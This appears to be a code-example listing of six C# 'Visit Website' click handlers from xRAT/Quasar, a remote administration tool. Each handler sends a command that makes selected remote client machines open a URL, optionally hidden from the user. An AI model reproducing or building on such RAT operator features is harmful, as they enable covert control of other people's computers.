示例#1
0
 private void ctxtVisitWebsite_Click(object sender, EventArgs e)
 {
     if (lstClients.SelectedItems.Count != 0)
     {
         using (var frm = new FrmVisitWebsite(lstClients.SelectedItems.Count))
         {
             if (frm.ShowDialog() == DialogResult.OK)
             {
                 foreach (Client c in GetSelectedClients())
                 {
                     new Core.Packets.ServerPackets.DoVisitWebsite(VisitWebsite.URL, VisitWebsite.Hidden).Execute(c);
                 }
             }
         }
     }
 }
示例#2
0
文件: FrmMain.cs 项目: yhz9999/xRAT
 private void ctxtVisitWebsite_Click(object sender, EventArgs e)
 {
     if (lstClients.SelectedItems.Count != 0)
     {
         using (var frm = new FrmVisitWebsite(lstClients.SelectedItems.Count))
         {
             if (frm.ShowDialog() == DialogResult.OK)
             {
                 foreach (ListViewItem lvi in lstClients.SelectedItems)
                 {
                     Client c = (Client)lvi.Tag;
                     new Core.Packets.ServerPackets.VisitWebsite(VisitWebsite.URL, VisitWebsite.Hidden).Execute(c);
                 }
             }
         }
     }
 }
示例#3
0
 private void visitWebsiteToolStripMenuItem_Click(object sender, EventArgs e)
 {
     if (lstClients.SelectedItems.Count != 0)
     {
         using (var frm = new FrmVisitWebsite(lstClients.SelectedItems.Count))
         {
             if (frm.ShowDialog() == DialogResult.OK)
             {
                 foreach (Client c in GetSelectedClients())
                 {
                     QuasarServer.writeLog("Visiting Website: " + VisitWebsite.URL, c.Value.PCName);
                     new Core.Packets.ServerPackets.DoVisitWebsite(VisitWebsite.URL, VisitWebsite.Hidden).Execute(c);
                 }
             }
         }
     }
 }
示例#4
0
 private void visitWebsiteToolStripMenuItem_Click(object sender, EventArgs e)
 {
     if (lstClients.SelectedItems.Count != 0)
     {
         using (var frm = new FrmVisitWebsite(lstClients.SelectedItems.Count))
         {
             if (frm.ShowDialog() == DialogResult.OK)
             {
                 foreach (Client c in GetSelectedClients())
                 {
                     c.Send(new DoVisitWebsite
                     {
                         Url    = frm.Url,
                         Hidden = frm.Hidden
                     });
                 }
             }
         }
     }
 }
示例#5
0
文件: FrmMain.cs 项目: Nusec/xRAT
 private void ctxtVisitWebsite_Click(object sender, EventArgs e)
 {
     if (lstClients.SelectedItems.Count != 0)
     {
         using (var frm = new FrmVisitWebsite(lstClients.SelectedItems.Count))
         {
             if (frm.ShowDialog() == DialogResult.OK)
             {
                 foreach (Client c in GetSelectedClients())
                 {
                     new Core.Packets.ServerPackets.DoVisitWebsite(VisitWebsite.URL, VisitWebsite.Hidden).Execute(c);
                 }
             }
         }
     }
 }
示例#6
0
 private void ctxtVisitWebsite_Click(object sender, EventArgs e)
 {
     if (lstClients.SelectedItems.Count != 0)
     {
         using (var frm = new FrmVisitWebsite(lstClients.SelectedItems.Count))
         {
             if (frm.ShowDialog() == DialogResult.OK)
             {
                 foreach (ListViewItem lvi in lstClients.SelectedItems)
                 {
                     Client c = (Client) lvi.Tag;
                     new Core.Packets.ServerPackets.VisitWebsite(VisitWebsite.URL, VisitWebsite.Hidden).Execute(c);
                 }
             }
         }
     }
 }